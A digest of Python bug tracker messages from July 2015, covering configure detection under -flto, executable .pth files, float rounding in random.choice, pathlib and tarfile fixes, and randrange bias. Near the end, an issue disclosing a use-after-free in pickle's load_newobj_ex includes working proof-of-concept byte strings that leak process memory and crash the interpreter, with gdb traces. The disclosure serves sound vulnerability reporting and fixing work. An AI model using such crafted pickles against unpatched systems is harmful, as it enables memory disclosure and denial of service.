-> duplicate status: open -> closed superseder: -> Configure script wrongly detects x64/x87/mc68881 with -flto option passed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 14:23:26 2015 From: report at bugs.python.org (R. David Murray) Date: Thu, 02 Jul 2015 12:23:26 +0000 Subject: [issue23517] datetime.utcfromtimestamp parses timestamps incorrectly In-Reply-To: <1424817522.64.0.693607620573.issue23517@psf.upfronthosting.co.za> Message-ID: <1435839806.05.0.367699766986.issue23517@psf.upfronthosting.co.za> R. David Murray added the comment: Because this seems to be a regression, I'm marking this as a release blocker. The RM can decide is isn't, of course. ---------- nosy: +larry priority: normal -> release blocker versions: +Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 15:04:55 2015 From: report at bugs.python.org (Stefan Krah) Date: Thu, 02 Jul 2015 13:04:55 +0000 Subject: [issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed In-Reply-To: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za> Message-ID: <1435842295.66.0.297313458953.issue24543@psf.upfronthosting.co.za> Stefan Krah added the comment: In what way are the x64/x87 tests broken? ./configure runs smoothly here (gcc 4.8.2) with and without -flto. Can you try "=m" and "m" for the asm output operands? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 15:10:50 2015 From: report at bugs.python.org (marxin) Date: Thu, 02 Jul 2015 13:10:50 +0000 Subject: [issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed In-Reply-To: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za> Message-ID: <1435842650.5.0.353185402864.issue24543@psf.upfronthosting.co.za> marxin added the comment: As I wrote, starting from GCC 4.9.0, the compiler does not emit any assembly with -flto and -c option. I would suggest to remove '-c' option that will force to create an executable. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 15:51:09 2015 From: report at bugs.python.org (Paul Moore) Date: Thu, 02 Jul 2015 13:51:09 +0000 Subject: [issue24534] disable executing code in .pth files In-Reply-To: <55931878.2000402@egenix.com> Message-ID: Paul Moore added the comment: On 30 June 2015 at 23:30, M.-A. Lemburg wrote: > I don't remember the details of why this feature was added, > but can imagine that it was supposed to enable installation > of new importers via .pth files. I don't know for certain if this feature was already available when importers were added, but there was certainly never any thought of adding importers via .pth files when we designed them. We expected importers to be added to sys.(meta_)path by explicit code run at application startup, before the imports that needed it. I'm glad to hear that setuptools is reconsidering its import priority hacking. And I also have never seen any use of executable code in .pth files that wasn't at best a dubious hack. But removing the feature (as opposed to getting packages to stop misusing the feature) is too much of a compatibility break. It might be worth putting together a documentation patch that expands what the docs say about the feature. Pointing out that it's easy to misuse, and advising caution, might be a reasonable thing to do. (Adding an example of a reasonable use of the feature would be even better, but that would require thinking of a reasonable use!!! :-)) ---------- nosy: +paul.moore _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 15:57:59 2015 From: report at bugs.python.org (Ulrich Petri) Date: Thu, 02 Jul 2015 13:57:59 +0000 Subject: [issue24120] pathlib.(r)glob stops on PermissionDenied exception In-Reply-To: <1430675548.94.0.105476682455.issue24120@psf.upfronthosting.co.za> Message-ID: <1435845479.61.0.581892732458.issue24120@psf.upfronthosting.co.za> Ulrich Petri added the comment: Antoine, thanks for the review. I didn't realise that `tree` outputs non-ASCII by default. I've updated the patch with a pure ASCII file tree. Unfortunately I don't have a Windows dev environment available at the moment, so I can't easily test for that. ---------- Added file: http://bugs.python.org/file39843/issue24120_2.diff _______________________________________ Python tracker _______________________________________ From p.f.moore at gmail.com Thu Jul 2 15:51:06 2015 From: p.f.moore at gmail.com (Paul Moore) Date: Thu, 2 Jul 2015 14:51:06 +0100 Subject: [issue24534] disable executing code in .pth files In-Reply-To: <55931878.2000402@egenix.com> References: <1435702578.95.0.361075500045.issue24534@psf.upfronthosting.co.za> <55931878.2000402@egenix.com> Message-ID: On 30 June 2015 at 23:30, M.-A. Lemburg wrote: > I don't remember the details of why this feature was added, > but can imagine that it was supposed to enable installation > of new importers via .pth files. I don't know for certain if this feature was already available when importers were added, but there was certainly never any thought of adding importers via .pth files when we designed them. We expected importers to be added to sys.(meta_)path by explicit code run at application startup, before the imports that needed it. I'm glad to hear that setuptools is reconsidering its import priority hacking. And I also have never seen any use of executable code in .pth files that wasn't at best a dubious hack. But removing the feature (as opposed to getting packages to stop misusing the feature) is too much of a compatibility break. It might be worth putting together a documentation patch that expands what the docs say about the feature. Pointing out that it's easy to misuse, and advising caution, might be a reasonable thing to do. (Adding an example of a reasonable use of the feature would be even better, but that would require thinking of a reasonable use!!! :-)) From report at bugs.python.org Thu Jul 2 16:28:08 2015 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 02 Jul 2015 14:28:08 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435809945.58.0.656251197111.issue24546@psf.upfronthosting.co.za> Message-ID: <20150702142803.GG10773@ando.pearwood.info> Steven D'Aprano added the comment: On Thu, Jul 02, 2015 at 04:05:45AM +0000, Tim Peters wrote: > Very surprising! Which platform & Python is that? Python 2.7.2 (default, May 18 2012, 18:25:10) [GCC 4.1.2 20080704 (Red Hat 4.1.2-52)] on linux2 I get the same result on Python 2.6 and 3.3, but *not* using Jython or IronPython. Both of those run to completion. Don't you love floating point mysteries? I cannot imagine how confusing it was back in the dark ages pre-IEEE 754. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 16:28:16 2015 From: report at bugs.python.org (Stefan Krah) Date: Thu, 02 Jul 2015 14:28:16 +0000 Subject: [issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed In-Reply-To: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za> Message-ID: <1435847296.84.0.485001954921.issue24543@psf.upfronthosting.co.za> Stefan Krah added the comment: "-c" is apparently generated by AC_COMPILE_IFELSE, which uses ac_compile. The alternative is using AC_RUN_IFELSE, which uses ac_link. Do you see any other possibility of dropping the "-c" during ./configure? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 16:39:22 2015 From: report at bugs.python.org (Stefan Krah) Date: Thu, 02 Jul 2015 14:39:22 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435847962.81.0.738823984949.issue24546@psf.upfronthosting.co.za> Stefan Krah added the comment: > Very surprising! Which platform & Python is that? I'm unable to reproduce this using Linux-amd64, Python 2.7.6, gcc 4.8.2. ---------- nosy: +skrah _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 16:44:49 2015 From: report at bugs.python.org (STINNER Victor) Date: Thu, 02 Jul 2015 14:44:49 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435848289.52.0.779086567611.issue24546@psf.upfronthosting.co.za> STINNER Victor added the comment: > Your example of int(0.99999999999999995) returning 1 is misleading On my setup, this number is rounded 1.0: >>> float('0.99999999999999995').hex() '0x1.0000000000000p+0' CPU: Intel(R) Core(TM) i7-2600 CPU @ 3.40GHz OS: Fedora release 22 Python 2.7.10 or 3.4.2 (same result for both versions) ---------- nosy: +haypo _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 16:59:12 2015 From: report at bugs.python.org (Eric Snow) Date: Thu, 02 Jul 2015 14:59:12 +0000 Subject: [issue24534] disable executing code in .pth files In-Reply-To: <1435606239.13.0.0171304559547.issue24534@psf.upfronthosting.co.za> Message-ID: <1435849152.49.0.195751541828.issue24534@psf.upfronthosting.co.za> Eric Snow added the comment: Note that the idea of replacing .pth files came up a couple years ago: https://mail.python.org/pipermail/import-sig/2013-July/000645.html That proposal didn't go anywhere basically because there were more important things to work on. :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 17:17:27 2015 From: report at bugs.python.org (Andreas Schwab) Date: Thu, 02 Jul 2015 15:17:27 +0000 Subject: [issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed In-Reply-To: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za> Message-ID: <1435850247.21.0.992567308931.issue24543@psf.upfronthosting.co.za> Andreas Schwab added the comment: Please use AC_LINK_IFELSE. No need for a runtime test that breaks cross compilation. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 17:21:57 2015 From: report at bugs.python.org (Vajrasky Kok) Date: Thu, 02 Jul 2015 15:21:57 +0000 Subject: [issue24412] setUpClass equivalent for addCleanup In-Reply-To: <1433788299.35.0.440062273493.issue24412@psf.upfronthosting.co.za> Message-ID: <1435850517.56.0.256648909858.issue24412@psf.upfronthosting.co.za> Vajrasky Kok added the comment: Here is the patch. ---------- keywords: +patch nosy: +vajrasky Added file: http://bugs.python.org/file39844/addCleanupClass.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 17:49:14 2015 From: report at bugs.python.org (Antoine Pitrou) Date: Thu, 02 Jul 2015 15:49:14 +0000 Subject: [issue24120] pathlib.(r)glob stops on PermissionDenied exception In-Reply-To: <1430675548.94.0.105476682455.issue24120@psf.upfronthosting.co.za> Message-ID: <1435852154.74.0.441673210012.issue24120@psf.upfronthosting.co.za> Antoine Pitrou added the comment: Ok, thanks. The tests are running ok on my Windows VM. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 18:05:38 2015 From: report at bugs.python.org (Padmanabhan Tr) Date: Thu, 02 Jul 2015 16:05:38 +0000 Subject: [issue24551] byte conversion Message-ID: <1435853138.23.0.743955688437.issue24551@psf.upfronthosting.co.za> Changes by Padmanabhan Tr : ---------- nosy: Padmanabhan.Tr priority: normal severity: normal status: open title: byte conversion type: behavior versions: Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 18:08:07 2015 From: report at bugs.python.org (Padmanabhan Tr) Date: Thu, 02 Jul 2015 16:08:07 +0000 Subject: [issue24551] byte conversion Message-ID: <1435853287.91.0.814348198879.issue24551@psf.upfronthosting.co.za> New submission from Padmanabhan Tr: I have copied below an execution sequence. What is the problem? >>> x = 8240 >>> x.to_bytes(4,byteorder='big') b'\x00\x00 0' >>> int.from_bytes(b'\x00\x00 0',byteorder='big') 8240 >>> int.from_bytes(b'\x20\x30',byteorder='big') 8240 >>> ---------- components: +Demos and Tools _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 18:18:34 2015 From: report at bugs.python.org (Eric Snow) Date: Thu, 02 Jul 2015 16:18:34 +0000 Subject: [issue24534] disable executing code in .pth files In-Reply-To: <1435606239.13.0.0171304559547.issue24534@psf.upfronthosting.co.za> Message-ID: <1435853914.53.0.991253802011.issue24534@psf.upfronthosting.co.za> Eric Snow added the comment: FYI, support for .pth has been around since at least Python 2.0. However, support for imports in .pth files was added in 2.1: changeset: 15815:868d2acf745808c9033f57cd5829d97a69ecf56e branch: legacy-trunk user: Martin v. L?wis date: Thu Jan 11 13:02:43 2001 +0000 summary: Patch #103134: Support import lines in pth files. >From what I understand .pth file weren't meant to be used in the way they are. Some folks are just really good at exploiting unintended behaviors based on an implementation. :) We've been stuck with the "feature" ever since. In this case the implementation happened to be a bit lax in how it evaluated each line. It should have been strict about allowing only single import statements. Instead it just made sure the line started with "import" and then exec'ed it. A check for ";" would have been sufficient. That said, I don't fault Martin (or whoever actually wrote it) at all. The implementation doesn't really bother me. Sure, it could have been more careful, but honestly how could anyone be expected to anticipate the consequence here. Ultimately, folks that looked closely enough at the source to figure out the hack would have had enough context to know the intent. They should have opened a bug report rather that take advantage of the loophole. If their need was sufficient they could have easily proposed an explicit mechanism to get what they wanted. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 18:50:40 2015 From: report at bugs.python.org (Steven D'Aprano) Date: Thu, 02 Jul 2015 16:50:40 +0000 Subject: [issue24551] byte conversion In-Reply-To: <1435853287.91.0.814348198879.issue24551@psf.upfronthosting.co.za> Message-ID: <1435855840.11.0.842083565747.issue24551@psf.upfronthosting.co.za> Steven D'Aprano added the comment: I don't know, what *is* the problem? What behaviour did you expect? The code sample you show seems to be working exactly as it is supposed to. b'\x00\x00 0' is the same as b'\x00\x00\x20\x30', and that is the same as b'\x20\x30' with NUL padding on the left. Written as integers, that is like 0x00002030 == 0x2030 == 8240. I don't think this demonstrates a bug or problem. If you still believe it does, please re-open the issue with a detailed description of what behaviour you expected and why you think this is a bug. ---------- nosy: +steven.daprano resolution: -> not a bug status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 19:35:53 2015 From: report at bugs.python.org (Tim Peters) Date: Thu, 02 Jul 2015 17:35:53 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435858553.83.0.465798204707.issue24546@psf.upfronthosting.co.za> Tim Peters added the comment: Steven, there's something wrong with the arithmetic on your machine, but I can't guess what from here (perhaps you have a non-standard rounding mode enabled, perhaps your CPU is broken, ...). In binary, (2**53-1)/2**53 * 2049 is: 0.11111111111111111111111111111111111111111111111111111 times 100000000001.0 which is exactly: 100000000000.11111111111111111111111111111111111111111 011111111111 I inserted a blank after the 53rd bit. Because the tail (011111111111) is "less than half", under any rounding mode _except_ "to +inf" that should be rounded to the 53-bit result: 100000000000.11111111111111111111111111111111111111111 That's strictly less than 2049, so int() of that should deliver 2048. For a start, is it the multiplication that's broken on your machine, or the int() part? These are the expected hex values (same as the binary values shown above, but easier to get Python to show - and these should be identical across all 754-conforming boxes using the default rounding mode): >>> x = 1.-2.**-53 >>> y = 2049.0 >>> x.hex() '0x1.fffffffffffffp-1' >>> y.hex() '0x1.0020000000000p+11' >>> (x*y).hex() '0x1.001ffffffffffp+11' ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 19:44:38 2015 From: report at bugs.python.org (Roundup Robot) Date: Thu, 02 Jul 2015 17:44:38 +0000 Subject: [issue24514] tarfile fails to extract archive (handled fine by gnu tar and bsdtar) In-Reply-To: <1435310337.24.0.0720447050888.issue24514@psf.upfronthosting.co.za> Message-ID: <20150702174432.27613.971@psf.io> Roundup Robot added the comment: New changeset 301d7efac3de by Lars Gust?bel in branch '2.7': Issue #24514: tarfile now tolerates number fields consisting of only whitespace. https://hg.python.org/cpython/rev/301d7efac3de New changeset 140b4b7b84bd by Lars Gust?bel in branch '3.4': Issue #24514: tarfile now tolerates number fields consisting of only whitespace. https://hg.python.org/cpython/rev/140b4b7b84bd New changeset 1692065524cc by Lars Gust?bel in branch '3.5': Merge with 3.4: Issue #24514: tarfile now tolerates number fields consisting of only whitespace. https://hg.python.org/cpython/rev/1692065524cc New changeset 08fad9037206 by Lars Gust?bel in branch 'default': Merge with 3.5: Issue #24514: tarfile now tolerates number fields consisting of only whitespace. https://hg.python.org/cpython/rev/08fad9037206 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 19:45:30 2015 From: report at bugs.python.org (=?utf-8?q?Lars_Gust=C3=A4bel?=) Date: Thu, 02 Jul 2015 17:45:30 +0000 Subject: [issue24514] tarfile fails to extract archive (handled fine by gnu tar and bsdtar) In-Reply-To: <1435310337.24.0.0720447050888.issue24514@psf.upfronthosting.co.za> Message-ID: <1435859130.84.0.0811555163767.issue24514@psf.upfronthosting.co.za> Changes by Lars Gust?bel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 19:52:21 2015 From: report at bugs.python.org (Christopher Gurnee) Date: Thu, 02 Jul 2015 17:52:21 +0000 Subject: [issue23974] random.randrange() biased output In-Reply-To: <1429211399.3.0.0363933708398.issue23974@psf.upfronthosting.co.za> Message-ID: <1435859541.69.0.350012216093.issue23974@psf.upfronthosting.co.za> Christopher Gurnee added the comment: There's been no activity on this issue in a few months.... The three options as I see it are: 1. Fix it for both randrange and SystemRandom.randrange, breaking randrange's implied stability between minor versions. 2. Fix it only for SystemRandom.randrange. 3. Close it as wont fix (for performance reasons I'd assume?). Since I'm in favor of option 2, I've attached a simple patch which implements it. Here are some quick-and-dirty performance numbers showing the decrease in performance (3 tests of the original code followed by 3 of the patched code): $ python -m timeit -r 10 -s 'import random; s = random.SystemRandom(); r = 2**8' 's.randrange(r)' 10000 loops, best of 10: 22.5 usec per loop $ python -m timeit -r 10 -s 'import random; s = random.SystemRandom(); r = 2**31' 's.randrange(r)' 10000 loops, best of 10: 22.6 usec per loop $ python -m timeit -r 10 -s 'import random; s = random.SystemRandom(); r = 2**53 * 2//3' 's.randrange(r)' 10000 loops, best of 10: 22.4 usec per loop $ python -m timeit -r 10 -s 'import random; s = random.SystemRandom(); r = 2**8' 's.randrange(r)' 10000 loops, best of 10: 23.7 usec per loop $ python -m timeit -r 10 -s 'import random; s = random.SystemRandom(); r = 2**31' 's.randrange(r)' 10000 loops, best of 10: 46.2 usec per loop $ python -m timeit -r 10 -s 'import random; s = random.SystemRandom(); r = 2**53 * 2//3' 's.randrange(r)' 10000 loops, best of 10: 34.8 usec per loop The patch also includes a unit test (with a false negative rate of 1 in 8.5 * 10^-8: http://www.wolframalpha.com/input/?i=probability+of+417+or+fewer+successes+in+1000+trials+with+p%3D0.5). Any opinions on which of the three options should be taken? ---------- keywords: +patch Added file: http://bugs.python.org/file39845/issue23974.patch _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 20:11:55 2015 From: report at bugs.python.org (Serhiy Storchaka) Date: Thu, 02 Jul 2015 18:11:55 +0000 Subject: [issue24120] pathlib.(r)glob stops on PermissionDenied exception In-Reply-To: <1430675548.94.0.105476682455.issue24120@psf.upfronthosting.co.za> Message-ID: <1435860715.59.0.992470921233.issue24120@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: May be slightly refactor the code? def _select_from(self, parent_path, is_dir, exists, listdir): try: if not is_dir(parent_path): return yield from self._select_from2(parent_path, is_dir, exists, listdir) except PermissionError: return def _select_from2(self, parent_path, is_dir, exists, listdir): ... # implementation ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 20:28:23 2015 From: report at bugs.python.org (R. David Murray) Date: Thu, 02 Jul 2015 18:28:23 +0000 Subject: [issue24546] sequence index bug in random.choice In-Reply-To: <1435766790.47.0.448977546687.issue24546@psf.upfronthosting.co.za> Message-ID: <1435861703.71.0.952242066138.issue24546@psf.upfronthosting.co.za> R. David Murray added the comment: "perhaps you have a non-standard rounding mode enabled" I think Mark added code to python3 at least to handle non-standard rounding modes being set, but I'm not sure. ---------- nosy: +r.david.murray _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 20:31:05 2015 From: report at bugs.python.org (Roundup Robot) Date: Thu, 02 Jul 2015 18:31:05 +0000 Subject: [issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed In-Reply-To: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za> Message-ID: <20150702183059.22865.44939@psf.io> Roundup Robot added the comment: New changeset 2be983173f45 by Stefan Krah in branch '3.5': Issue #24543: Use AC_LINK instead of AC_COMPILE in order to prevent false https://hg.python.org/cpython/rev/2be983173f45 New changeset 8f30776602b4 by Stefan Krah in branch 'default': Merge from 3.5 (#24543). https://hg.python.org/cpython/rev/8f30776602b4 ---------- nosy: +python-dev _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 21:08:53 2015 From: report at bugs.python.org (Stefan Krah) Date: Thu, 02 Jul 2015 19:08:53 +0000 Subject: [issue24543] Configure script wrongly detects x64/x87/mc68881 with -flto option passed In-Reply-To: <1435747274.99.0.734466851501.issue24543@psf.upfronthosting.co.za> Message-ID: <1435864133.08.0.622457327378.issue24543@psf.upfronthosting.co.za> Stefan Krah added the comment: I guess we should backport the x87 fix to 2.7. ---------- versions: +Python 2.7 -Python 3.5 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 22:30:00 2015 From: report at bugs.python.org (David Ford (FirefighterBlu3)) Date: Thu, 02 Jul 2015 20:30:00 +0000 Subject: [issue18543] urllib.parse.urlopen shouldn't ignore installed opener when called with any ca* argument In-Reply-To: <1374668818.72.0.697922032573.issue18543@psf.upfronthosting.co.za> Message-ID: <1435869000.15.0.94787214678.issue18543@psf.upfronthosting.co.za> David Ford (FirefighterBlu3) added the comment: the attached diff (for py3) fixes the (badly) broken urlopen :} previously, if SSL args were detected, all installed handlers via _opener got wiped out. now, we check if _opener already exists and if so we just make sure the HTTPSHandler is added thus preserving installed handlers. ---------- keywords: +patch nosy: +David Ford (FirefighterBlu3) Added file: http://bugs.python.org/file39846/urllib.request.py-do-not-overwrite-existing-opener.diff _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 23:04:44 2015 From: report at bugs.python.org (Larry Hastings) Date: Thu, 02 Jul 2015 21:04:44 +0000 Subject: [issue23517] datetime.utcfromtimestamp parses timestamps incorrectly In-Reply-To: <1424817522.64.0.693607620573.issue23517@psf.upfronthosting.co.za> Message-ID: <1435871084.68.0.931762374153.issue23517@psf.upfronthosting.co.za> Larry Hastings added the comment: Yes, by all means, fix for 3.4, 3.5, and 3.6. If possible I'd appreciate you getting the fix checked in to 3.5 within the next 48 hours, as I'm tagging the next beta release of 3.5 around then, and it'd be nice if this fix went out in that release. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 23:17:46 2015 From: report at bugs.python.org (Benjamin Peterson) Date: Thu, 02 Jul 2015 21:17:46 +0000 Subject: [issue24552] use after free in load_newobj_ex Message-ID: <1435871866.78.0.724448815208.issue24552@psf.upfronthosting.co.za> New submission from Benjamin Peterson: >From Kurucsai Istvan on the security list: I. Summary There is a use-after-free in the load_newobj_ex function in _pickle.c that results in an arbitrary read. II. Source code The functions in question: static int load_newobj_ex(UnpicklerObject *self) { PyObject *cls, *args, *kwargs; PyObject *obj; PickleState *st = _Pickle_GetGlobalState(); PDATA_POP(self->stack, kwargs); if (kwargs == NULL) { return -1; } PDATA_POP(self->stack, args); if (args == NULL) { Py_DECREF(kwargs); return -1; } PDATA_POP(self->stack, cls); if (cls == NULL) { Py_DECREF(kwargs); Py_DECREF(args); return -1; } 1. if (!PyType_Check(cls)) { Py_DECREF(kwargs); Py_DECREF(args); 2. Py_DECREF(cls); PyErr_Format(st->UnpicklingError, "NEWOBJ_EX class argument must be a type, not %.200s", 3. Py_TYPE(cls)->tp_name); return -1; } 1. if cls is not a type object. 2. cls and its type object are freed. 3. Py_TYPE(cls)->tp_name is controlled after the free due to Python memory management internals, allowing arbitrary memory addresses to be leaked in the exception text. III. Proof of concept The following PoC demonstrates the bug by leaking the beginning of the ELF header of the python binary by using the following pickle: 0: F FLOAT -17.0 5: G BINFLOAT 4.850517136297445e-270 14: \x8a LONG1 -19433009197182618361932444855909718650799116435779157138706600511804357054621081254113158779140316034172772336611031765078550355689018943570873089549265771354179136777133140299700701757440 94: \x92 NEWOBJ_EX 95: . STOP highest protocol among opcodes = 4 root at tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# cat /opt/newobj_ex.py import pickle b = b"\x46\x2D\x31\x37\x0A\x47" # read address, beginning of the ELF header of the python binary b += b"\x08\x04\x80\x00" b += b"\xE0\xFC\xBD\x8D\x8A\x4E\x00\x00\x00\x77\x55\x73\x41\xDE\x8D\xEA\x43\xDD\xB9\xDE\x10\xAE\x84\xAE\x15\x69\x3C\x9A\x34\x9C\x1B\x06\xE9\x68\x84\x5E\x3E\x74\x55\x55\x01\x5F\x65\x2E\x93\x83\x2D\x14\x36\x40\xA9\xEA\xAD\xFE\x77\x2D\x0F\x37\x8F\xE2\xFB\x18\xD6\x89\xDC\x75\x53\xB3\x15\xF1\x56\x17\x2F\x21\x78\x02\x7A\xBB\x95\x7B\x82\x40\x8A\xB8\x92." pickle.loads(b) root at tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# file python python: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=e1a1b72a0e3093b61de9de9bb58b3ca031aeb9b6, not stripped root at tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# ./python Python 3.6.0a0 (default, Jun 29 2015, 22:03:19) [GCC 4.8.2] on linux Type "help", "copyright", "credits" or "license" for more information. >>> root at tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# ./python /opt/newobj_ex.py Traceback (most recent call last): File "/opt/newobj_ex.py", line 4, in pickle.loads(b) _pickle.UnpicklingError: NEWOBJ_EX class argument must be a type, not ELF root at tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# By changing the read address, a segfault can be triggered: root at tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# cat /opt/newobj_ex_crash.py import pickle b = b"\x46\x2D\x31\x37\x0A\x47" # read address b += b"\x41\x41\x41\x41" b +=b"\xE0\xFC\xBD\x8D\x8A\x4E\x00\x00\x00\x77\x55\x73\x41\xDE\x8D\xEA\x43\xDD\xB9\xDE\x10\xAE\x84\xAE\x15\x69\x3C\x9A\x34\x9C\x1B\x06\xE9\x68\x84\x5E\x3E\x74\x55\x55\x01\x5F\x65\x2E\x93\x83\x2D\x14\x36\x40\xA9\xEA\xAD\xFE\x77\x2D\x0F\x37\x8F\xE2\xFB\x18\xD6\x89\xDC\x75\x53\xB3\x15\xF1\x56\x17\x2F\x21\x78\x02\x7A\xBB\x95\x7B\x82\x40\x8A\xB8\x92." pickle.loads(b) root at tukan-VirtualBox:/opt/cpython/cpython-d792dc240456-150629# gdb --silent ./python Reading symbols from ./python...done. (gdb) r /opt/newobj_ex_crash.py Starting program: /opt/cpython/cpython-d792dc240456-150629/python /opt/newobj_ex_crash.py [Thread debugging using libthread_db enabled] Using host libthread_db library "/lib/i386-linux-gnu/libthread_db.so.1". Program received signal SIGSEGV, Segmentation fault. 0x081431dd in unicode_fromformat_write_cstr (writer=writer at entry=0xffffd11c, str=0x41414141 , width=width at entry=-1, precision=precision at entry=200) at Objects/unicodeobject.c:2368 2368 length = strlen(str); (gdb) bt #0 0x081431dd in unicode_fromformat_write_cstr (writer=writer at entry=0xffffd11c, str=0x41414141 , width=width at entry=-1, precision=precision at entry=200) at Objects/unicodeobject.c:2368 #1 0x08143a2a in unicode_fromformat_arg (writer=writer at entry=0xffffd11c, f=0xf7b9f632 "s", f at entry=0xf7b9f62d "%.200s", vargs=vargs at entry=0xffffd118) at Objects/unicodeobject.c:2583 #2 0x08144018 in PyUnicode_FromFormatV (format=, format at entry=0xf7b9f600 "NEWOBJ_EX class argument must be a type, not %.200s", vargs=vargs at entry=0xffffd198 "AAAA/T\271\367~(\312\367\310\025\321\367\270H=\b\001") at Objects/unicodeobject.c:2701 #3 0x0819badc in PyErr_FormatV (exception=exception at entry=, format=format at entry=0xf7b9f600 "NEWOBJ_EX class argument must be a type, not %.200s", vargs=vargs at entry=0xffffd198 "AAAA/T\271\367~(\312\367\310\025\321\367\270H=\b\001") at Python/errors.c:785 #4 0x0819b289 in PyErr_Format (exception=, format=format at entry=0xf7b9f600 "NEWOBJ_EX class argument must be a type, not %.200s") at Python/errors.c:802 #5 0xf7b9c4cb in load_newobj_ex (self=self at entry=0xf7c74424) at /opt/cpython/cpython-d792dc240456-150629/Modules/_pickle.c:5283 #6 0xf7b9d48c in load (self=self at entry=0xf7c74424) at /opt/cpython/cpython-d792dc240456-150629/Modules/_pickle.c:6186 #7 0xf7b9d809 in _pickle_loads_impl (module=module at entry=0xf7be22f4, data=b'F-17\nGAAAA\xe0\xfc\xbd\x8d\x8aN\x00\x00\x00wUsA\xde\x8d\xeaC\xdd\xb9\xde\x10\xae\x84\xae\x15i<\x9a4\x9c\x1b\x06\xe9h\x84^>tUU\x01_e.\x93\x83-\x146@\xa9\xea\xad\xfew-\x0f7\x8f\xe2\xfb\x18\xd6\x89\xdcuS\xb3\x15\xf1V\x17/!x\x02z\xbb\x95{\x82@\x8a\xb8\x92.', fix_imports=1, encoding=0xf7b9fa42 "ASCII", errors=0xf7b9fa48 "strict") at /opt/cpython/cpython-d792dc240456-150629/Modules/_pickle.c:7132 #8 0xf7b9d955 in _pickle_loads (module=module at entry=0xf7be22f4, args=args at entry=(b'F-17\nGAAAA\xe0\xfc\xbd\x8d\x8aN\x00\x00\x00wUsA\xde\x8d\xeaC\xdd\xb9\xde\x10\xae\x84\xae\x15i<\x9a4\x9c\x1b\x06\xe9h\x84^>tUU\x01_e.\x93\x83-\x146@\xa9\xea\xad\xfew-\x0f7\x8f\xe2\xfb\x18\xd6\x89\xdcuS\xb3\x15\xf1V\x17/!x\x02z\xbb\x95{\x82@\x8a\xb8\x92.',), kwargs=kwargs at entry=0x0) at /opt/cpython/cpython-d792dc240456-150629/Modules/clinic/_pickle.c.h:543 <> ---------- components: Extension Modules messages: 246098 nosy: benjamin.peterson priority: critical severity: normal status: open title: use after free in load_newobj_ex type: crash versions: Python 3.4, Python 3.5, Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Thu Jul 2 23:19:44 2015 From: report at bugs.python.org (Roundup Robot) Date: Thu, 02 Jul 2015 21:19:44 +0000 Subject: [issue24552] use after free in load_newobj_ex In-Reply-To: <1435871866.78.0.724448815208.issue24552@psf.upfronthosting.co.za> Message-ID: <20150702211939.44882.93943@psf.io> Roundup Robot added the comment: New changeset 24ce32d76376 by Benjamin Peterson in branch '3.4': fix use after free (closes #24552) https://hg.python.org/cpython/rev/24ce32d76376 New 